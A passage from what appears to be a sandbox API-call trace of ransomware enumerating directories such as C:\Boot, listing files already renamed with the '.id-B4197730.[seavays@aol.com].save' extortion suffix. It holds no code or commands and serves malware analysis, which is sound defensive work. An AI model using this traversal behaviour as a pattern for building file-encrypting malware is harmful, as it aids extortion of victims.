ftLastAccessTime.dwLowDateTime=0x997dba9, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9f4d74a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupEngine.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPE~2.SAV")) returned 1 [0159.225] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9cc4f61, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x9cc4f61, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9ceb1cf, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4824a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPU~2.SAV")) returned 1 [0159.225] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x92c91b3, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x92c91b3, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x990b473, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x769a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.xsd.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPU~1.SAV")) returned 1 [0159.225] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9d11821, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x9d11821, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0xa13d583, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x17854, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUtility.exe.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPU~3.SAV")) returned 1 [0159.225] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x92ef37d, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x92ef37d, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x92ef37d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xa174, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SplashScreen.bmp.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SPLASH~1.SAV")) returned 1 [0159.225] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa13d583, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0xa13d583, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0xa1637ef, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x23518, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sqmapi.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SQMAPI~1.SAV")) returned 1 [0159.226] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9315590, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x9315590, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9933627, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x37fa, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Strings.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="STRING~1.SAV")) returned 1 [0159.226] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9387cb5, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x9387cb5, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x9387cb5, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x98e8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UiInfo.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="UIINFO~1.SAV")) returned 1 [0159.226] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x93adedf, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x93adedf, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x93adedf, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1977e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="watermark.bmp.id-B4197730.[seavays@aol.com].save", cAlternateFileName="WATERM~1.SAV")) returned 1 [0159.226] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0xc1d9ee8, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x5b5241, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[seavays@aol.com].save", cAlternateFileName="WINDOW~1.SAV")) returned 1 [0159.226] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0xb500891, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x2d764e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[seavays@aol.com].save", cAlternateFileName="WINDOW~2.SAV")) returned 1 [0159.226] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0xd8ccbac, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x59b2fc, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[seavays@aol.com].save", cAlternateFileName="WINDOW~3.SAV")) returned 1 [0159.226] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xcae0322, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[seavays@aol.com].save", cAlternateFileName="WINDOW~4.SAV")) returned 1 [0159.226] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xcae0322, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[seavays@aol.com].save", cAlternateFileName="WINDOW~4.SAV")) returned 0 [0159.227] FindClose (in: hFindFile=0x72a788 | out: hFindFile=0x72a788) returned 1 [0159.229] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3750048 | out: hHeap=0x710000) returned 1 [0159.229] FindNextFileW (in: hFindFile=0x72a348, lpFindFileData=0x2eafcf8 | out: lpFindFileData=0x2eafcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77870000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0159.230] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3750048 [0159.230] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x72a708 [0159.231] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0159.232] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1 [0159.233] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0159.233] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0159.233] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0159.233] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0159.233] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4510050 [0159.233] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x72a788 [0159.235] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.235] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0159.235] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0159.236] FindClose (in: hFindFile=0x72a788 | out: hFindFile=0x72a788) returned 1 [0159.236] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.236] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0159.236] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x96f5265, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x96f5265, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x96f5265, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x100fc, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BOOTSTAT.DAT.id-B4197730.[seavays@aol.com].save", cAlternateFileName="BOOTST~1.SAV")) returned 1 [0159.236] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0159.236] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0159.237] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4510050 [0159.237] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x72a788 [0159.238] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.238] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0159.239] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0159.239] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0159.239] FindClose (in: hFindFile=0x72a788 | out: hFindFile=0x72a788) returned 1 [0159.240] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.240] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1 [0159.240] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4510050 [0159.247] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.247] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1 [0159.247] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.247] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1 [0159.249] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.249] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1 [0159.250] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.250] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1 [0159.250] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.250] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1 [0159.252] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.252] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-MX", cAlternateFileName="")) returned 1 [0159.268] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0159.268] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, 